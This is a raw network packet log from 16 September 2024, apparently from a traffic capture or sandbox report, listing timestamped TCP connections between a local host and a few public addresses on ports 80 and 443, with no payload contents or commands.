Sep 16, 2024 19:24:12.147418976 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.147423029 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.216747999 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.216849089 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.216937065 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.217000961 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.217191935 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.217403889 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.217542887 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.217598915 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.218822002 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.218837976 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.218920946 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.218983889 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.219033957 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.219052076 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.219161034 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:12.219227076 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.238270044 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.239305019 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.240721941 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:12.241116047 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:19.761600971 CEST	49716	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:19.761615992 CEST	49717	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:19.761635065 CEST	443	49716	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:19.761653900 CEST	443	49717	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:19.761727095 CEST	49716	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:19.762105942 CEST	49717	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:19.762106895 CEST	49716	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:19.762125969 CEST	443	49716	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:19.762155056 CEST	49717	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:19.762166023 CEST	443	49717	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:19.762363911 CEST	49718	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:19.762372971 CEST	443	49718	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:19.762461901 CEST	49719	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:19.762475014 CEST	443	49719	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:19.762500048 CEST	49718	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:19.762520075 CEST	49719	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:19.762811899 CEST	49718	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:19.762825966 CEST	443	49718	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:19.762845993 CEST	49719	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:19.762860060 CEST	443	49719	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.269545078 CEST	443	49718	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.269701004 CEST	443	49717	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.269784927 CEST	49718	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.269790888 CEST	443	49716	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.269831896 CEST	49717	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.269859076 CEST	49716	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.271493912 CEST	49718	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.271506071 CEST	443	49718	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.271847010 CEST	443	49718	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.271856070 CEST	49716	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.271867037 CEST	443	49716	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.272192955 CEST	443	49719	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.272255898 CEST	443	49716	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.272263050 CEST	49719	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.272663116 CEST	49717	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.272669077 CEST	443	49717	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.272809982 CEST	49718	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.273066044 CEST	443	49717	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.273535967 CEST	49716	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.274255991 CEST	49719	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.274261951 CEST	443	49719	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.274529934 CEST	49717	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.274661064 CEST	443	49719	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.275396109 CEST	49719	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.315440893 CEST	443	49717	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.315443993 CEST	443	49716	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.315548897 CEST	49716	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.315550089 CEST	49717	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.315556049 CEST	443	49716	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.315567017 CEST	443	49717	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.319399118 CEST	443	49718	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.319422007 CEST	443	49719	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.319473982 CEST	49718	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.319482088 CEST	443	49718	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.319498062 CEST	49719	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.319503069 CEST	443	49719	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.523426056 CEST	443	49716	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.523744106 CEST	443	49716	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.523821115 CEST	49716	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.533535004 CEST	443	49717	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.533689976 CEST	443	49717	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.533760071 CEST	49717	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.533966064 CEST	443	49719	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.534112930 CEST	443	49719	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.534157991 CEST	49719	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.545329094 CEST	49716	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.545852900 CEST	49719	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.547413111 CEST	49717	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.590233088 CEST	443	49718	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.590380907 CEST	443	49718	162.159.136.232	192.168.2.5
Sep 16, 2024 19:24:21.590459108 CEST	49718	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:21.596565008 CEST	49718	443	192.168.2.5	162.159.136.232
Sep 16, 2024 19:24:27.062398911 CEST	49710	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:27.071055889 CEST	49705	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:27.099318027 CEST	49704	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:27.189685106 CEST	49706	80	192.168.2.5	104.17.112.233
Sep 16, 2024 19:24:29.672369957 CEST	51640	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.677479982 CEST	80	51640	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.677599907 CEST	51640	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.691468000 CEST	51640	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.697455883 CEST	80	51640	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.732373953 CEST	51641	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.737279892 CEST	80	51641	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.737427950 CEST	51641	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.740056992 CEST	51641	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.744884014 CEST	80	51641	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.768337011 CEST	51642	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.774329901 CEST	80	51642	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.774424076 CEST	51642	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.783994913 CEST	51642	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.788990974 CEST	80	51642	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.844504118 CEST	51643	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.849406958 CEST	80	51643	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.849484921 CEST	51643	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.853663921 CEST	51643	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.858474970 CEST	80	51643	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.861835003 CEST	51644	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.867537975 CEST	80	51644	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.867621899 CEST	51644	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.871592999 CEST	51644	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.876421928 CEST	80	51644	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.883665085 CEST	51645	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.888557911 CEST	80	51645	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.888622999 CEST	51645	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.891433001 CEST	51645	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.895713091 CEST	51646	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.896292925 CEST	80	51645	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.900069952 CEST	51647	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.900533915 CEST	80	51646	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.900655985 CEST	51646	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.904628992 CEST	51646	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.904930115 CEST	80	51647	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.905005932 CEST	51647	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.907888889 CEST	51647	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:29.909537077 CEST	80	51646	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:29.912772894 CEST	80	51647	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.121743917 CEST	80	51640	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.121926069 CEST	80	51640	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.121988058 CEST	51640	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.122374058 CEST	51640	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.125183105 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.125237942 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.125360012 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.127446890 CEST	80	51640	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.128968000 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.129003048 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.190927029 CEST	80	51641	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.191339970 CEST	80	51641	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.191418886 CEST	51641	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.191418886 CEST	51641	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.193202019 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.193240881 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.193310022 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.196394920 CEST	80	51641	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.197050095 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.197067976 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.217859983 CEST	80	51642	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.218148947 CEST	80	51642	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.218266010 CEST	51642	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.218472004 CEST	51642	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.220112085 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.220140934 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.220295906 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.222781897 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.222800016 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.235064983 CEST	80	51642	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.301126957 CEST	80	51643	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.301177979 CEST	80	51643	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.301230907 CEST	51643	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.301676989 CEST	51643	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.303380966 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.303430080 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.303493023 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.306529999 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.306552887 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.307466984 CEST	80	51643	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.331283092 CEST	80	51644	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.331314087 CEST	80	51644	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.331403971 CEST	51644	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.331825972 CEST	51644	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.332329988 CEST	80	51645	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.332432985 CEST	80	51645	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.332540989 CEST	51645	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.332885027 CEST	51645	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.334038019 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.334115982 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.334194899 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.334315062 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.334347010 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.334408998 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.336663961 CEST	80	51644	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.337655067 CEST	80	51645	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.341667891 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.341702938 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.341707945 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.341727018 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.348529100 CEST	80	51647	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.348998070 CEST	80	51647	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.349050999 CEST	51647	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.349083900 CEST	51647	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.350717068 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.350770950 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.350908995 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.352304935 CEST	80	51646	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.352890015 CEST	80	51646	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.352992058 CEST	51646	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.353135109 CEST	51646	80	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.353837013 CEST	80	51647	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.354672909 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.354691029 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.354816914 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.354856968 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.354924917 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.357924938 CEST	80	51646	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.358234882 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.358269930 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.616579056 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.616677999 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.618874073 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.618887901 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.619710922 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.625822067 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.671401978 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.672166109 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.672245979 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.683437109 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.683465004 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.683711052 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.691760063 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.692606926 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.692673922 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.697761059 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.697767973 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.698143005 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.705547094 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.735404968 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.751409054 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.784333944 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.784415007 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.789144039 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.789159060 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.789515972 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.797447920 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.813579082 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.813735008 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.814397097 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.814562082 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.816838026 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.816910028 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.819324017 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.819344997 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.819593906 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.819608927 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.819622040 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.820095062 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.828373909 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.831079006 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.831093073 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.831310987 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.833636999 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.834487915 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.834647894 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.839322090 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.843400002 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.862245083 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.862258911 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.863126993 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.869751930 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.871423960 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.875416994 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.879400969 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.911427021 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.976847887 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977042913 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977091074 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977135897 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977225065 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977251053 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977286100 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.977297068 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977307081 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977325916 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.977328062 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.977341890 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977386951 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977402925 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977433920 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.977440119 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.977442026 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977449894 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977504015 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977510929 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977541924 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977565050 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.977576017 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977581978 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.977588892 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977633953 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.977869987 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.977924109 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.977931023 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.978013992 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.978113890 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.978121996 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.984757900 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.985102892 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.985112906 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.991216898 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.991530895 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:30.991547108 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:30.994149923 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.002568960 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.002592087 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.002665043 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.002684116 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.002702951 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.002752066 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.003844976 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.004004002 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.004081964 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.004105091 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.004152060 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.004225969 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.004261971 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.004287958 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.004307985 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.004430056 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.004446983 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.004523993 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.004853964 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.004899979 CEST	443	51655	185.199.109.133	192.168.2.5
